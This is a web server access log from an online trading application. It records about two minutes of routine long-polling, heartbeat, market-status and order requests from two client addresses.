[09/Jan/2026:08:59:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920668306 HTTP/1.1" -
[09/Jan/2026:08:59:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920671430 HTTP/1.1" -
[09/Jan/2026:09:00:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:00:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:00:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:00:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:00:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920676639 HTTP/1.1" -
[09/Jan/2026:09:00:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920674308 HTTP/1.1" -
[09/Jan/2026:09:00:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:09:00:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:00:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:09:00:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920681692 HTTP/1.1" -
[09/Jan/2026:09:00:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920680310 HTTP/1.1" -
[09/Jan/2026:09:00:14 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:00:14 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:00:14 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:00:14 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:00:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920686802 HTTP/1.1" -
[09/Jan/2026:09:00:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920686303 HTTP/1.1" -
[09/Jan/2026:09:00:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920691847 HTTP/1.1" -
[09/Jan/2026:09:00:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920692300 HTTP/1.1" -
[09/Jan/2026:09:00:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920697036 HTTP/1.1" -
[09/Jan/2026:09:00:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920698305 HTTP/1.1" -
[09/Jan/2026:09:00:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920702179 HTTP/1.1" -
[09/Jan/2026:09:00:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:00:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:00:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:00:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:00:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920704309 HTTP/1.1" -
[09/Jan/2026:09:00:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920707349 HTTP/1.1" -
[09/Jan/2026:09:00:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920712415 HTTP/1.1" -
[09/Jan/2026:09:00:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920710304 HTTP/1.1" -
[09/Jan/2026:09:00:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920717490 HTTP/1.1" -
[09/Jan/2026:09:00:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920716303 HTTP/1.1" -
[09/Jan/2026:09:00:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920722667 HTTP/1.1" -
[09/Jan/2026:09:00:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920722298 HTTP/1.1" -
[09/Jan/2026:09:00:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920727795 HTTP/1.1" -
[09/Jan/2026:09:00:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920728311 HTTP/1.1" -
[09/Jan/2026:09:01:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:01:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:01:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920732910 HTTP/1.1" -
[09/Jan/2026:09:01:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920734302 HTTP/1.1" -
[09/Jan/2026:09:01:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920737963 HTTP/1.1" -
[09/Jan/2026:09:01:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920743030 HTTP/1.1" -
[09/Jan/2026:09:01:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920740300 HTTP/1.1" -
[09/Jan/2026:09:01:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:01:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:01:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920748156 HTTP/1.1" -
[09/Jan/2026:09:01:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920746299 HTTP/1.1" -
[09/Jan/2026:09:01:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920753276 HTTP/1.1" -
[09/Jan/2026:09:01:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920752306 HTTP/1.1" -
[09/Jan/2026:09:01:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 11
[09/Jan/2026:09:01:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920758433 HTTP/1.1" -
[09/Jan/2026:09:01:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920758309 HTTP/1.1" -
[09/Jan/2026:09:01:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:01:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1221
[09/Jan/2026:09:01:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:01:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:01:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:09:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920763508 HTTP/1.1" -
[09/Jan/2026:09:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=A2986AF0421D3F729B6F0E3E23FCFBED HTTP/1.1" 1019
[09/Jan/2026:09:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:01:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:01:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:01:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:01:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1164
[09/Jan/2026:09:01:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920764299 HTTP/1.1" -
[09/Jan/2026:09:01:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920768548 HTTP/1.1" -
[09/Jan/2026:09:01:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920770302 HTTP/1.1" -
[09/Jan/2026:09:01:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920773599 HTTP/1.1" -
[09/Jan/2026:09:01:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920778737 HTTP/1.1" -
[09/Jan/2026:09:01:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920776306 HTTP/1.1" -
[09/Jan/2026:09:01:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920783854 HTTP/1.1" -
[09/Jan/2026:09:01:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920782304 HTTP/1.1" -
[09/Jan/2026:09:01:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920789022 HTTP/1.1" -
[09/Jan/2026:09:01:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920788302 HTTP/1.1" -
[09/Jan/2026:09:02:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:02:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:02:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920794161 HTTP/1.1" -
[09/Jan/2026:09:02:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920794304 HTTP/1.1" -
[09/Jan/2026:09:02:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920799216 HTTP/1.1" -
[09/Jan/2026:09:02:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920800303 HTTP/1.1" -
[09/Jan/2026:09:02:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
